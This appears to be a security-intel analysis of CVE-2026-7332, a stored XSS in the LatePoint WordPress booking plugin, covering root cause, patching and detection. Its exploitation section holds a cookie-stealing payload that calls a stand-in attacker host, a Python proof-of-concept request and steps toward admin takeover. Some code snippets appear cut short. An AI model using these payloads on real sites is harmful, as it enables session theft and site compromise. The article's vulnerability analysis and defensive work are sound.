home intel cve-2026-7332-latepoint-stored-xss-booking-url
CVE Analysis 2026-05-06 · 8 min read

CVE-2026-7332: Unauthenticated Stored XSS in LatePoint via booking_form_page_url

LatePoint ≤5.5.0 writes unsanitized booking_form_page_url into the WordPress database via an order intent hook that fires before Stripe validation, enabling unauthenticated stored XSS.

#stored-xss#wordpress-plugin#input-sanitization#insufficient-escaping#unauthenticated-attack
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7332 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7332HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7332 is a stored cross-site scripting vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress, affecting all versions through 5.5.0. An unauthenticated attacker can inject arbitrary JavaScript into the booking_form_page_url parameter during an order intent creation request. The payload is persisted to the database through the latepoint_order_intent_created action hook and reflected back to any administrator or privileged user who views the booking activity log or processes the order — no Stripe configuration required.

CVSS 7.2 (HIGH) — Attack Vector: Network / Privileges Required: None / User Interaction: Required / Scope: Changed.

Affected Component

The vulnerable surface is the AJAX handler responsible for creating order intents. LatePoint exposes this endpoint publicly to support unauthenticated booking flows. The handler calls OsOrderIntentHelper::create_from_post_data(), which constructs an OsOrderIntentModel and persists it. The booking_form_page_url field is accepted from raw POST input, stored verbatim, and later rendered inside admin-side activity log views and booking management screens without escaping.

Affected file paths (relative to plugin root):

  • lib/helpers/order_intent_helper.php — intent construction and hook dispatch
  • lib/models/order_intent_model.php — model definition and DB persistence
  • lib/views/admin/activity_log/_entry.php — unescaped render site

Root Cause Analysis

The core issue is a two-part failure: missing sanitization on input, and missing escaping on output. The latepoint_order_intent_created hook fires unconditionally after the model is saved — Stripe account validation happens in a subsequent step that can abort payment processing but cannot roll back the already-committed database write.


// lib/helpers/order_intent_helper.php (pseudocode reconstruction)

function OsOrderIntentHelper__create_from_post_data(array $post_data) {

    $intent = new OsOrderIntentModel();

    // Fields populated directly from POST without sanitization
    $intent->booking_form_page_url = $post_data['booking_form_page_url']; // BUG: no sanitize_text_field(), no esc_url()
    $intent->customer_id           = (int)$post_data['customer_id'];
    $intent->agent_id              = (int)$post_data['agent_id'];
    $intent->service_id            = (int)$post_data['service_id'];
    $intent->token                 = OsUtilHelper::generate_token(32);

    // Model save writes all fields to wp_latepoint_order_intents
    if ($intent->save()) {

        // Hook fires BEFORE Stripe Connect account ID is validated
        // BUG: database write already committed; hook cannot be unwound
        do_action('latepoint_order_intent_created', $intent);

        // Stripe validation happens here — too late to prevent persistence
        if (empty(get_option('latepoint_stripe_connect_account_id'))) {
            return OsResponseHelper::json_error('Stripe not configured');
            // ^^ returns error to caller but $intent is already in the DB
        }
    }

    return $intent;
}

// lib/views/admin/activity_log/_entry.php (pseudocode reconstruction)

function render_activity_log_entry(OsOrderIntentModel $intent) {

    // BUG: booking_form_page_url echoed without esc_url() or esc_html()
    echo ''
       . __('View Booking Page', 'latepoint')
       . '';

    // A payload of:
    //   javascript:/**/alert(1)
    // or:
    //   https://example.com" onmouseover="alert(document.cookie)
    // executes in the administrator's browser context when the log is viewed.
}
Root cause: booking_form_page_url is written to the database via OsOrderIntentHelper::create_from_post_data() without sanitization before the latepoint_order_intent_created hook fires, and later rendered in admin views without esc_url() or esc_html() escaping.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker sends unauthenticated POST to wp-admin/admin-ajax.php
   action=latepoint_create_order_intent
   booking_form_page_url=https://evil.com" onmouseover="fetch('https://attacker.tld/?c='+document.cookie)
   (no authentication cookie required; nonce check absent or publicly seeded)

2. OsOrderIntentHelper::create_from_post_data() runs:
   - Constructs OsOrderIntentModel with raw payload in booking_form_page_url
   - Calls $intent->save() → INSERT into wp_latepoint_order_intents

3. do_action('latepoint_order_intent_created', $intent) fires:
   - Activity log entry written to wp_latepoint_activity_logs referencing intent
   - Any registered hook callbacks execute with the poisoned model

4. Stripe connect account ID check runs:
   - Returns JSON error if Stripe not configured
   - DB row NOT rolled back — payload is permanently stored

5. Administrator opens WP Admin → LatePoint → Activity Log (or Bookings view)
   - _entry.php renders the poisoned anchor without escaping
   - Browser executes injected event handler in admin session context

6. XSS payload runs with administrator privileges:
   - Session cookie exfiltration → full WP admin takeover
   - wp_create_user AJAX calls → persistent backdoor account
   - Plugin/theme file write via WP file editor → RCE

A minimal proof-of-concept request using curl:


import requests

TARGET = "https://target.example.com/wp-admin/admin-ajax.php"

# Payload breaks out of href attribute, injects event handler
# Executes in admin context when activity log entry is rendered
PAYLOAD = 'https://legit.example.com" onmouseover="eval(atob(\'{b64_payload}\'))  '

data = {
    "action":                "latepoint_create_order_intent",
    "booking_form_page_url": PAYLOAD,
    "customer_first_name":   "Test",
    "customer_last_name":    "User",
    "customer_email":        "test@example.com",
    "service_id":            "1",
    "agent_id":              "1",
}

r = requests.post(TARGET, data=data)
# Expect {"status":"error","message":"Stripe not configured"} OR success
# Either way: payload is committed to the database
print(r.status_code, r.text[:200])

Memory Layout

This is not a memory corruption vulnerability — the bug operates entirely at the application data layer. The relevant "layout" is the database schema and the data flow between tables.


wp_latepoint_order_intents table — relevant columns:
+----+-------+------------------------------------------+--------+--------+
| id | token | booking_form_page_url                    | status | ...    |
+----+-------+------------------------------------------+--------+--------+
| 47 | a3f9… | https://evil.com" onmouseover="fetch(…)  | open   | ...    |
+----+-------+------------------------------------------+--------+--------+
                          ^
                          STORED PAYLOAD — written unconditionally before
                          Stripe validation; never sanitized or escaped

wp_latepoint_activity_logs table — references intent:
+----+-----------+----------+-----------------------------+
| id | object_id | obj_type | description                 |
+----+-----------+----------+-----------------------------+
| 91 | 47        | intent   | Order intent created (open) |
+----+-----------+----------+-----------------------------+
                          ^
                          Admin log view joins on object_id=47,
                          retrieves booking_form_page_url, renders raw HTML

DATA FLOW:
POST /wp-admin/admin-ajax.php
  └─► create_from_post_data()
        └─► OsOrderIntentModel->save()         [WRITE: payload committed]
              └─► do_action('latepoint_order_intent_created')
                    └─► activity log entry written
                          └─► [Stripe check fails — no rollback]

Admin browses /wp-admin/admin.php?page=latepoint-activity-log
  └─► _entry.php echoes booking_form_page_url raw
        └─► XSS executes in admin browser context

Patch Analysis

The correct fix requires changes at both the input and output layers. Input sanitization alone is insufficient — defense in depth demands output escaping at every render site.


// BEFORE (vulnerable) — order_intent_helper.php:
$intent->booking_form_page_url = $post_data['booking_form_page_url'];
// No sanitization. Raw attacker string enters the model.


// AFTER (patched):
$intent->booking_form_page_url = esc_url_raw(
    sanitize_text_field($post_data['booking_form_page_url'] ?? '')
);
// esc_url_raw() strips javascript: schemes and invalid URL characters.
// sanitize_text_field() removes tags and extra whitespace.

// BEFORE (vulnerable) — _entry.php render site:
echo ''
   . __('View Booking Page', 'latepoint') . '';


// AFTER (patched):
echo ''
   . esc_html__('View Booking Page', 'latepoint') . '';
// esc_url() HTML-encodes the value at point of output — last line of defense.

// ADDITIONALLY — hook ordering fix in order_intent_helper.php:
// Move Stripe validation BEFORE the save() call and hook dispatch:

if (empty(get_option('latepoint_stripe_connect_account_id'))) {
    return OsResponseHelper::json_error('Stripe not configured');
    // Returns early — save() never called, hook never fires, no DB write.
}

if ($intent->save()) {
    do_action('latepoint_order_intent_created', $intent);
}

Detection and Indicators

Query the database directly for poisoned rows:


# MySQL — detect suspicious booking_form_page_url values in stored intents
SELECT id, token, booking_form_page_url, created_at
FROM wp_latepoint_order_intents
WHERE booking_form_page_url REGEXP '(javascript:|on[a-z]+=|

WAF / access log signatures:

POST /wp-admin/admin-ajax.php
  body contains: action=latepoint_create_order_intent
  AND booking_form_page_url matches:
    - javascript:
    - onmouseover=  onload=  onfocus=  onerror=
    -